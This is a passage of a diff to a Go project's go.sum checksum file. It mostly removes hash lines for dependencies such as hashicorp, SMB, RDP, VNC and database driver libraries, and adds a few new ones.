github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed/go.mod h1:tMWxXQ9wFIaZeTI9F+hmhFiGpFmhOHzyShyFUhRm0H4=
-github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
-github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
-github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
-github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
-github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
-github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
-github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
-github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
-github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
-github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
-github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
-github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
-github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
-github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
-github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
-github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
-github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
-github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
-github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
-github.com/hirochachacha/go-smb2 v1.1.0 h1:b6hs9qKIql9eVXAiN0M2wSFY5xnhbHAQoCwRKbaRTZI=
-github.com/hirochachacha/go-smb2 v1.1.0/go.mod h1:8F1A4d5EZzrGu5R7PU163UcMRDJQl4FtcxjBfsY8TZE=
-github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
-github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ=
-github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9uLXRB3GNc73SvZACDEFAmDCOlDkV47zbY=
-github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc=
-github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5/go.mod h1:VJNHW2GxCtQP/IQtXykBIPBV8maPJ/dHWirVTwm9GwY=
-github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/jcmturner/aescts/v2 v2.0.0 h1:9YKLH6ey7H4eDBXW8khjYslgyqG2xZikXP0EQFKrle8=
github.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs=
github.com/jcmturner/dnsutils/v2 v2.0.0 h1:lltnkeZGL0wILNvrNiVCR6Ro5PGU/SeBvVO/8c/iPbo=
@@ -203,138 +81,51 @@ github.com/jcmturner/rpc/v2 v2.0.3 h1:7FXXj8Ti1IaVFpSAziCZWNzbNuZmnvw/i6CqLNdWfZ
github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc=
github.com/jlaffaye/ftp v0.2.0 h1:lXNvW7cBu7R/68bknOX3MrRIIqZ61zELs1P2RAiA3lg=
github.com/jlaffaye/ftp v0.2.0/go.mod h1:is2Ds5qkhceAPy2xD6RLI6hmp/qysSoymZ+Z2uTnspI=
-github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
-github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
-github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
-github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
-github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=
github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw=
-github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=
-github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA=
github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
-github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
-github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
+github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw=
github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
-github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0VBNqY/88RNnhSGYkrHaO0mmFGbVsc=
-github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg=
-github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
-github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
-github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
-github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
-github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
-github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=
-github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
-github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
-github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
-github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed h1:FI2NIv6fpef6BQl2u3IZX/Cj20tfypRF4yd+uaHOMtI=
-github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed/go.mod h1:3rdaFaCv4AyBgu5ALFM0+tSuHrBh6v692nyQe3ikrq0=
-github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
-github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
-github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
-github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
-github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
-github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5/go.mod h1:caMODM3PzxT8aQXRPkAt8xlV/e7d7w8GM5g0fa5F0D8=
-github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
-github.com/neelance/astrewrite v0.0.0-20160511093645-99348263ae86/go.mod h1:kHJEU3ofeGjhHklVoIGuVj85JJwZ6kWPaJwCIxgnFmo=
-github.com/neelance/sourcemap v0.0.0-20200213170602-2833bce08e4c/go.mod h1:Qr6/a/Q4r9LP1IltGz7tA7iOK1WonHEYhu1HRBA7ZiM=
-github.com/neo4j/neo4j-go-driver/v4 v4.4.7 h1:6D0DPI7VOVF6zB8eubY1lav7RI7dZ2mytnr3fj369Ow=
-github.com/neo4j/neo4j-go-driver/v4 v4.4.7/go.mod h1:NexOfrm4c317FVjekrhVV8pHBXgtMG5P6GeweJWCyo4=
-github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
-github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU=
-github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
-github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
-github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
-github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0=
-github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU=
-github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
-github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
-github.com/onsi/gomega v1.16.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY=
-github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
-github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ=
github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
github.com/pkg/browser v0.0.0-20180916011732-0a3d74bf9ce4/go.mod h1:4OwLy04Bl9Ef3GJJCoec+30X3LQs/0/m4HFRt/2LUSA=
-github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
-github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
-github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
-github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
-github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
-github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
-github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
-github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro=
-github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
-github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
-github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
-github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
-github.com/rabbitmq/amqp091-go v1.10.0 h1:STpn5XsHlHGcecLmMFCtg7mqq0RnD+zFr4uzukfVhBw=
-github.com/rabbitmq/amqp091-go v1.10.0/go.mod h1:Hy4jKW5kQART1u+JkDTF9YYOQUHXqMuhrgxOEeS7G4o=
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 h1:N/ElC8H3+5XpJzTSTfLsJV/mx9Q9g7kxmchpfZyxgzM=
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
-github.com/robotn/gohook v0.42.2 h1:AI9OVh5o59c76jp9Xcc4NpIvze2YeKX1Rn8JvflAUXY=
-github.com/robotn/gohook v0.42.2/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
-github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
-github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o=
-github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
-github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE=
github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ=
-github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
-github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k=
-github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg=
-github.com/shurcooL/go v0.0.0-20200502201357-93f07166e636/go.mod h1:TDJrrUr11Vxrven61rcy3hJMUqaf/CLWYhHNPmT14Lk=
-github.com/shurcooL/httpfs v0.0.0-20190707220628-8d4bc4ba7749/go.mod h1:ZY1cvUeJuFPAdZ/B6v7RHavJWZn2YPVFQ1OSXhCGOkg=
-github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
-github.com/shurcooL/vfsgen v0.0.0-20200824052919-0d455de96546/go.mod h1:TrYk7fJVaAttu97ZZKrO9UbRa8izdowaMIZcxYMbVaw=
-github.com/sijms/go-ora/v2 v2.5.29 h1:ZSaeQM0Jn+r3XcIajk1YJk3Rx8fmt9eso6QQ73IZM6E=
-github.com/sijms/go-ora/v2 v2.5.29/go.mod h1:EHxlY6x7y9HAsdfumurRfTd+v8NrEOTR3Xl4FWlH6xk=
-github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
-github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
-github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
-github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
-github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
-github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
-github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
-github.com/spf13/cobra v1.1.3/go.mod h1:pGADOWyqRD/YMrPZigI/zbliZ2wVD/23d+is3pSWzOo=
-github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
-github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
-github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
-github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU=
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww=
github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU=
github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
-github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
-github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
@@ -343,34 +134,10 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
-github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
-github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0=
-github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
-github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
-github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
-github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
-github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg=
-github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
-github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
-go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
-go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
-go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
-go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
-go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
-go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
-go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
-golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
-golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
-golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
